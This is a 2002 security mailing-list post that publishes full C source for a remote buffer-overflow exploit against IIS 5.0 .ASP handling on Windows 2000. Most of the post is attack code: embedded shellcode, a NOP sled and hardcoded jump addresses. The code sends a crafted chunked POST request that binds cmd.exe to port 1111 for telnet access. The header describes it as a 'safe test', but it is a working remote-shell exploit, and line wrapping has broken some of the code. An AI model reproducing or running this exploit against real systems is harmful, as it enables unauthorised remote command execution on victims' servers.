[EXPL] Windows 2000 Server IIS 5.0 .ASP Overflow Exploit

From: support@securiteam.com
Date: 05/04/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Sat,  4 May 2002 19:51:48 +0200 (CEST)

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  Windows 2000 Server IIS 5.0 .ASP Overflow Exploit
------------------------------------------------------------------------

SUMMARY

The following code will allow you to safely test your system for the below
motioned vulnerability. For more information about this vulnerability see:
 <http://www.securiteam.com/windowsntfocus/5SP0F006UA.html> Windows 2000
and NT4 IIS .ASP Remote Buffer Overflow (Additional Details).

DETAILS

Exploit:
This .ASP overflow exploit will open port 1111 and bind the cmd.exe to it.
It should be noted is that every time you run this exploit and a message
will show that this exploit works perfectly. However, that does not mean
you can get the access to the target host, the reason is that on some
occasions there will be a message-box appear on victim's terminal screen
showing that an AV (Access Violation) has occurred.

/* Windows 2000 Server Exploit By CHINANSL Security Team.
Test on Windows 2000 Chinese Version, IIS 5.0 , not patched.
Warning:THIS PROGRAM WILL ONLY TEST.
CHINANSL Technology CO.,LTD http://www.chinansl.com
keji@chinansl.com
*/

#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment (lib,"Ws2_32")

int main(int argc, char* argv[])
{
if(argc != 4)
{
printf("%s ip port aspfilepath\n\n",argv[0]);
printf(" ie. %s 127.0.0.1 80 /iisstart.asp\n",argv[0]);
puts(" programed by keji@chinansl.com");

return 0;
}

DWORD srcdata=0x01e2fb1c-4;//0x00457474;
//address of SHELLCODE
DWORD jmpaddr=0x00457494; //0x77ebf094;/ /0x01e6fcec;
//"\x1c\xfb\xe6\x01"; //"\x0c\xfb\xe6\x01";

char* destIP=argv[1];
char* destFile=argv[3];
int webport=atoi(argv[2]);
char* pad="\xcc\xcc\xcc\xcc" "ADPA" "\x02\x02\x02\x02" "PADP"; //16
bytes

WSADATA ws;
SOCKET s;
long result=0;
if(WSAStartup(0x0101,&ws) != 0)
{
puts("WSAStartup() error");
return -1;
}

struct sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_port=htons(webport);
addr.sin_addr.s_addr=inet_addr(destIP);
s=socket(AF_INET,SOCK_STREAM,0);
if(s==-1)
{
puts("Socket create error");
return -1;
}

if(connect(s,(struct sockaddr *)&addr,sizeof(addr)) == -1)
{
puts("Cannot connect to the specified host");
return -1;
}

char buff[4096];
char*
shellcode="\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\xe0\x8b\xfc\x33\xc9\x89"
"\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x65\x6c\x33\x32"
"\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x33\x32\x2e\xab"
"\x4f\x32\xc0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\x2e\xab\x32\xc0\x4f"
"\xaa\xb8\x23\x80\xe7\x77\x8d\x9d\x10\xff\xff\xff\x53\xff\xd0\x89"
"\x45\xfc\xb8\x23\x80\xe7\x77\x8d\x9d\x19\xff\xff\xff\x53\xff\xd0"
"\x89\x45\xf8\xbb\x4b\x56\xe7\x77\x6a\x47\xff\x75\xfc\xff\xd3\x89"
"\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x33\xf6\x66\xbe"
"\x1d\x02\x56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66\xbe\x3e\x02\x56"
"\xff\x75\xfc\xff\xd3\x89\x45\xe8\x66\xbe\x0f\x03\x56\xff\x75\xfc"
"\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\xff\x75\xfc\xff\xd3\x89"
"\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75\xfc\xff\xd3\x89"
"\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75\xfc\xff\xd3\x89"
"\x85\x18\xff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x89\x45\xe0\x6a"
"\x17\xff\x75\xf8\xff\xd3\x89\x45\xdc\x6a\x02\xff\x75\xf8\xff\xd3"
"\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x75\xf8\xff\xd3\x89\x45"
"\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x13\xff\x75\xf8"
"\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x89\x45\xc8\x6a"
"\x03\xff\x75\xf8\xff\xd3\x89\x85\x1c\xff\xff\xff\x8d\x7d\xa0\x32"
"\xe4\xb0\x02\x66\xab\x66\xb8\x04\x57\x66\xab\x33\xc0\xab\xf7\xd0"
"\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\xc8\xfe\xc8\xab\x33\xc0"
"\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x01\x50\xff\x55"
"\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x45\xc4\x6a\x10"
"\x8d\x45\xa0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\xff\x75\xc4\xff"
"\x55\xd4\x33\xc0\x50\x50\xff\x75\xc4\xff\x55\xd0\x89\x45\xc0\x33"
"\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x8d\x45\x9c\x50\xff\x55"
"\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x8d\x45\x94\x50"
"\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\xb1\x44\x32\xc0"
"\xf3\xaa\x8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x01\x01\x89\x47"
"\x2c\x8b\x45\x94\x89\x47\x38\x8b\x45\x98\x89\x47\x40\x89\x47\x3c"
"\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\xc4\x50\x8d\x85\x38\xff"
"\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x80\x51\x53\xff"
"\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34\xff\xff\xff\x89"
"\x85\x30\xff\xff\xff\x90\x33\xdb\x53\x8d\x85\x2c\xff\xff\xff\x50"
"\x53\x53\x53\xff\x75\x9c\xff\x55\xec\x8b\x85\x2c\xff\xff\xff\x85"
"\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85\x2c\xff\xff\xff\x50\x53"
"\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x85\xc0\x74\x6d"
"\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff\xff\xff"
"\x75\xc0\xff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x90\x90\x90\x90"
"\x90\x90\x6a\x32\xff\x95\x28\xff\xff\xff\xeb\x99\x90\x90\x33\xc0"
"\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\xff\x75\xc0\xff\x55\xc8"
"\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\xc0\x50\x8d\x85"
"\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff"
"\xff\xff\x75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\xb4\xff\x75\xc4"
"\xff\x95\x1c\xff\xff\xff\xff\x75\xc0\xff\x95\x1c\xff\xff\xff\x6a"
"\xff\xff\x95\x18\xff\xff\xff";

char* s1="POST ";// HTTP/1.1\r\n";
char* s2="Accept: */*\r\n";
char* s4="Content-Type: application/x-www-
form-urlencoded\r\n";
char* s5="Transfer-Encoding:
chunked\r\n\r\n";
char* sc="0\r\n\r\n\r\n";

char shellcodebuff[1024*8];
memset(shellcodebuff,0x90,sizeof
(shellcodebuff));
memcpy(&shellcodebuff[sizeof(shellcodebuff)-
strlen(shellcode)-1],shellcode,strlen(shellcode));
shellcodebuff[sizeof(shellcodebuff)-1] = 0;

char sendbuff[1024*16];
memset(sendbuff,0,1024*16);

sprintf(sendbuff,"%s%s?%s HTTP/1.1\r\n%sHost:
%s\r\n%s%s10\r\n%s\r\n4\r\nAAAA\r\n4\r\nBBBB\r\n%s", s1, destFile,
shellcodebuff, s2, destIP, s4,s 5, pad/*,srcdata,jmpaddr*/, sc);

int sendlen=strlen(sendbuff);
    *(DWORD *)strstr(sendbuff,"BBBB") = jmpaddr;
*(DWORD *)strstr(sendbuff,"AAAA") = srcdata;

result=send(s,sendbuff,sendlen,0);
if(result == -1 )
{
puts("Send shellcode error!");
return -1;
}

memset(buff,0,4096);
result=recv(s,buff,sizeof(buff),0);

if(strstr(buff,"<html>") != NULL)
{
shutdown(s,0);
closesocket(s);

puts("Send shellcode error!Try again!");
return -1;
}

shutdown(s,0);
closesocket(s);
printf("\nUse <telnet %s 1111> to connect to the host\n",destIP);
puts("If you cannot connect to the host,try run this program again!");

  return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:keji@chinansl.com> keji.

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